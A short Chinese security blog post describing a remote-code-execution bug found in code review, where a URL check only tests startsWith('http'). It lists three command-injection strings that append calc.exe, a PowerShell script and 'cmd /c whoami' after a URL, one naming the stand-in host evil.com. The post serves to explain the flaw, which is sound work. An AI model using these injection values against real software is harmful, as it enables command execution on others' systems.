白盒审计出的一个RCE

迪哥讲事 · 2026-07-02 12:00 · 3 阅读

原创 h1 2026-07-02 12:00 江苏

正文出问题的代码:if (url == null || !

正文

出问题的代码:

if (url == null || !url.startsWith("http"))
{
    logger.warn("Not a valid URL to open:" + url);
return;
}

URL 校验这里有问题:

!url.startsWith("http")

攻击者可以传入类似如下代码:

http://evil.com & calc.exe
http://example.com && powershell evil.ps1
http://x" && cmd /c whoami

如果你是一个长期主义者，欢迎加入我的知识星球，本星球日日更新,包含号主大量一线实战,全网独一无二，微信识别二维码付费即可加入，如不满意，72 小时内可在 App 内无条件自助退款

往期回顾

上一篇
Chrome V8 沙箱逃逸漏洞下一篇
第一个高危漏洞